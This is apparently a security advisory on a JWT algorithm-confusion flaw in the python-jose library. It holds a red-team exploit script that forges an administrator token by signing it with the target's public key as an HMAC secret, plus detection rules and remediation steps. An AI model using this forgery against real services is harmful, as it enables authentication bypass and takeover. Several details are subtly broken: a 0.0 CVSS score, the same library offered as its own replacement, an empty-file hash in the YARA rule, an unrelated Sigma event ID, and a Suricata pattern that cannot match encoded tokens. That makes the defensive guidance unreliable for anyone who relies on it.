CVE-2024-33663

Executive Summary

CVE-2024-33663 is a critical algorithm confusion vulnerability in the python-jose library (versions through 3.3.0) that affects how OpenSSH ECDSA keys and other key formats are processed. This vulnerability is similar to CVE-2022-29217 and allows an attacker to bypass signature verification by exploiting the library's failure to properly validate the algorithm used in JWT headers against the expected algorithm for a given key type. The flaw resides in the JWT verification logic, where the library does not enforce that the alg header matches the key type, enabling attackers to craft tokens with a different algorithm (e.g., HS256) while using a public key (like ECDSA) to forge valid signatures. This can lead to authentication bypass, privilege escalation, and unauthorized access to systems relying on python-jose for JWT validation.

Supply Chain & Package Security

This vulnerability affects the python-jose package available on PyPI. Organizations using this library in their Python applications are at risk. The package is widely used for JWT handling in Python web frameworks (e.g., Flask, Django). Since the patch status is UNKNOWN, users should consider migrating to alternative libraries like PyJWT or python-jose[cryptography] with strict algorithm enforcement. The lack of an official patch increases supply chain risk, as malicious actors could exploit this in unpatched dependencies.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (No official CVSS vector assigned by NVD) Threat Level: High (based on similarity to CVE-2022-29217 which had CVSS 9.1)

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability affects only the component.
• Confidentiality Impact: High (C:H) – Potential data exposure.
• Integrity Impact: High (I:H) – Token forgery allows data manipulation.
• Availability Impact: High (A:H) – Could lead to service disruption.

EPSS Score: 0.0% (Low exploitation probability currently, but expected to rise as PoC emerges)

Deep Dive & Mechanics

The vulnerability stems from python-jose's JWT verification logic in the jwt.decode() function. When verifying a JWT, the library:

1. Extracts the alg header from the token.
2. Uses the provided key to verify the signature.
3. Does NOT check if the algorithm in the alg header is appropriate for the key type.

For example, if an application uses an ECDSA public key (e.g., ES256) for verification, an attacker can:

• Create a JWT with alg: HS256 (HMAC-SHA256).
• Sign the token using the ECDSA public key as the HMAC secret.
• The library will use the public key bytes to verify the HMAC signature, which succeeds because the public key is known.

This works because HMAC algorithms (HS256, HS384, HS512) use a symmetric key, and the library does not enforce that the key type matches the algorithm. The attacker can obtain the public key (often exposed via JWKS endpoints or documentation) and forge tokens.

Key vulnerable code path: jose/jwt.py in the decode() function, specifically the _verify_signature() call which does not validate algorithm-key type consistency.

Vulnerable vs. Patched Code

Vulnerable Code (python-jose <= 3.3.0):

# jose/jwt.py (simplified)
def decode(token, key, algorithms=None, options=None):
    # ... parse header and payload
    header = get_unverified_header(token)
    alg = header['alg']
    # No check that alg matches key type
    if algorithms and alg not in algorithms:
        raise JWTError('Algorithm not allowed')
    # Directly uses key without validation
    _verify_signature(token, key, alg)
    return payload

Patched Code (Hypothetical fix):

# jose/jwt.py (patched)
def decode(token, key, algorithms=None, options=None):
    header = get_unverified_header(token)
    alg = header['alg']
    if algorithms and alg not in algorithms:
        raise JWTError('Algorithm not allowed')
    # Enforce algorithm-key type consistency
    if alg.startswith('HS') and not isinstance(key, bytes):
        raise JWTError('Symmetric algorithm requires bytes key')
    if alg.startswith('RS') and not isinstance(key, RSAKey):
        raise JWTError('RSA algorithm requires RSA key')
    if alg.startswith('ES') and not isinstance(key, ECKey):
        raise JWTError('ECDSA algorithm requires EC key')
    _verify_signature(token, key, alg)
    return payload

Note: The official patch is UNKNOWN. The above is a recommended fix pattern.

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

1. Install vulnerable python-jose: pip install python-jose==3.3.0
2. Obtain the target's public key (e.g., from a JWKS endpoint or documentation).
3. Create a forged JWT with algorithm confusion.

Exploit Script:

import jwt  # PyJWT library for token creation
import base64
import json

# Target's public key (example ECDSA key)
public_key = """-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE...
-----END PUBLIC KEY-----"""

# Forge a token with HS256 algorithm
payload = {
    "sub": "admin",
    "role": "administrator",
    "iat": 1710000000
}

# Sign using the public key as HMAC secret
forged_token = jwt.encode(payload, public_key, algorithm="HS256")
print(f"Forged Token: {forged_token}")

# Test against vulnerable python-jose
from jose import jwt as jose_jwt
try:
    decoded = jose_jwt.decode(forged_token, public_key, algorithms=["HS256", "ES256"])
    print(f"Decoded payload: {decoded}")
    print("Vulnerability confirmed!")
except Exception as e:
    print(f"Error: {e}")

Expected Outcome: The vulnerable library accepts the forged token, granting unauthorized access.

Blue Team (Defender)

Detection & Prevention:

1. Immediate: Replace python-jose with PyJWT or python-jose[cryptography] with strict algorithm enforcement.
2. Code Fix: Implement algorithm-key type validation as shown in the patched code section.
3. Monitoring: Detect anomalous JWT usage patterns (e.g., HS256 tokens with public keys).
4. Network: Block requests with unexpected JWT algorithm combinations.

Hunting Query (Splunk):

index=web_logs sourcetype=access_combined
| rex field=uri "Bearer (?<token>[^ ]+)"
| eval header=fromjson(base64_decode(substr(token, 0, indexof(token, "."))))
| search header.alg=HS256 AND header.kid=*
| stats count by src_ip, uri

Indicators of Compromise (IOCs)

• Network: JWT tokens with alg: HS256 but using asymmetric key material (e.g., RSA or ECDSA public keys).
• File: Log entries showing successful JWT verification with algorithm mismatch.
• Process: Unusual python-jose library calls with mixed algorithm types.
• Registry: N/A (Python library, no registry artifacts).
• YARA Rule: See Detection Engineering section.

Detection Engineering

YARA Rule

rule python_jose_algorithm_confusion {
    meta:
        description = "Detects python-jose library usage with algorithm confusion vulnerability"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-33663"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $s1 = "jose" ascii wide nocase
        $s2 = "jwt.decode" ascii wide nocase
        $s3 = "HS256" ascii wide nocase
        $s4 = "ES256" ascii wide nocase
        $s5 = "RS256" ascii wide nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: Detection of python-jose Algorithm Confusion Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects JWT tokens with algorithm confusion (HS256 with asymmetric keys)
author: Valters IT
date: 2024/01/01
logsource:
    category: application
    product: python
detection:
    selection:
        EventID: 4663  # Example: Object access
        ObjectName|contains: 'jose'
        ProcessName|endswith: 'python.exe'
    condition: selection
falsepositives:
    - Legitimate use of HS256 with symmetric keys
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-33663 python-jose Algorithm Confusion Attempt"; flow:to_server; content:"Bearer "; nocase; pcre:"/alg["'"]?\s*[:=]\s*["'"]?HS256["'"]?/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Replace python-jose with PyJWT (version >= 2.8.0) which enforces algorithm-key type consistency.
2. Code Change: If migration is not possible, implement a wrapper that validates algorithm-key type before calling jose.jwt.decode().
3. Configuration: Ensure JWT libraries are configured with explicit allowed algorithms and key types.
4. Monitoring: Deploy the Sigma and Suricata rules to detect exploitation attempts.
5. Patch: Monitor the python-jose repository for official patches. If none are released, consider forking and applying the fix.
6. Training: Educate developers on JWT algorithm confusion risks and secure coding practices.

Valters IT
Securing Digital Frontiers